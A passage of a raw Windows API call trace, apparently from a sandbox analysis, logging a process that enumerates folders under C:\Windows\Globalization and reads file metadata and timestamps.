lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0253.314] AreFileApisANSI () returned 1 [0253.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0253.315] AreFileApisANSI () returned 1 [0253.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0253.316] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\ELS\\Transliteration\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1458a2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1458a2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.317] AreFileApisANSI () returned 1 [0253.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 59 [0253.320] AreFileApisANSI () returned 1 [0253.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60 [0253.321] AreFileApisANSI () returned 1 [0253.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 59 [0253.323] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1458a2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1458a2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.323] AreFileApisANSI () returned 1 [0253.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0253.324] GetFileType (hFile=0x178) returned 0x1 [0253.325] AreFileApisANSI () returned 1 [0253.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0253.327] AreFileApisANSI () returned 1 [0253.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0253.328] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-AU\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x145b0420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x145b0420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.328] AreFileApisANSI () returned 1 [0253.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0253.329] GetFileType (hFile=0x1ac) returned 0x1 [0253.330] AreFileApisANSI () returned 1 [0253.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0253.331] AreFileApisANSI () returned 1 [0253.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0253.333] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-AU\\RSSFeed\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x145b0420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x145b0420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.334] AreFileApisANSI () returned 1 [0253.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.334] GetFileType (hFile=0x1ac) returned 0x1 [0253.335] AreFileApisANSI () returned 1 [0253.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0253.336] AreFileApisANSI () returned 1 [0253.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.339] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-AU\\Theme\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x145b0420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x145b0420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.339] AreFileApisANSI () returned 1 [0253.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0253.342] AreFileApisANSI () returned 1 [0253.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0253.344] AreFileApisANSI () returned 1 [0253.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0253.345] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x145d6580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x145d6580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.345] AreFileApisANSI () returned 1 [0253.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.346] AreFileApisANSI () returned 1 [0253.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.346] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.346] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.346] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.346] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.346] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.347] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.347] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.347] CloseHandle (hObject=0x190) returned 1 [0253.348] AreFileApisANSI () returned 1 [0253.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.351] AreFileApisANSI () returned 1 [0253.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.351] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.351] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.351] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.351] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.351] CloseHandle (hObject=0x190) returned 1 [0253.352] AreFileApisANSI () returned 1 [0253.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.352] AreFileApisANSI () returned 1 [0253.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.352] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.353] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.353] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.353] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.353] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.353] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.353] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.353] CloseHandle (hObject=0x190) returned 1 [0253.353] AreFileApisANSI () returned 1 [0253.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.354] AreFileApisANSI () returned 1 [0253.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.354] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.354] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.354] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.354] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.354] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.354] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.354] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.354] CloseHandle (hObject=0x190) returned 1 [0253.355] AreFileApisANSI () returned 1 [0253.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.355] AreFileApisANSI () returned 1 [0253.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.355] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.355] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.355] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.355] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.355] CloseHandle (hObject=0x190) returned 1 [0253.356] AreFileApisANSI () returned 1 [0253.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.357] AreFileApisANSI () returned 1 [0253.357] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.357] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.357] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.357] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.357] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.357] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.357] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.357] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.357] CloseHandle (hObject=0x190) returned 1 [0253.358] AreFileApisANSI () returned 1 [0253.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0253.358] GetFileType (hFile=0x178) returned 0x1 [0253.359] AreFileApisANSI () returned 1 [0253.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0253.362] AreFileApisANSI () returned 1 [0253.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0253.363] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-CA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x145fc6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x145fc6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.364] AreFileApisANSI () returned 1 [0253.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0253.364] GetFileType (hFile=0x1ac) returned 0x1 [0253.365] AreFileApisANSI () returned 1 [0253.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0253.366] AreFileApisANSI () returned 1 [0253.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0253.370] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-CA\\RSSFeed\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x145fc6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x145fc6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.370] AreFileApisANSI () returned 1 [0253.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.371] GetFileType (hFile=0x1ac) returned 0x1 [0253.372] AreFileApisANSI () returned 1 [0253.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0253.373] AreFileApisANSI () returned 1 [0253.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.378] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-CA\\Theme\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14622840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14622840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.378] AreFileApisANSI () returned 1 [0253.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0253.381] AreFileApisANSI () returned 1 [0253.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0253.382] AreFileApisANSI () returned 1 [0253.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0253.384] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14622840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14622840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.384] AreFileApisANSI () returned 1 [0253.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.385] AreFileApisANSI () returned 1 [0253.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.385] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.385] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.385] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.385] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.385] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.385] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.385] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.385] CloseHandle (hObject=0x190) returned 1 [0253.386] AreFileApisANSI () returned 1 [0253.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.386] AreFileApisANSI () returned 1 [0253.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.387] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.387] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.387] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.387] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.387] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.387] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.387] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.387] CloseHandle (hObject=0x190) returned 1 [0253.388] AreFileApisANSI () returned 1 [0253.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.388] AreFileApisANSI () returned 1 [0253.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.388] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.388] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.388] 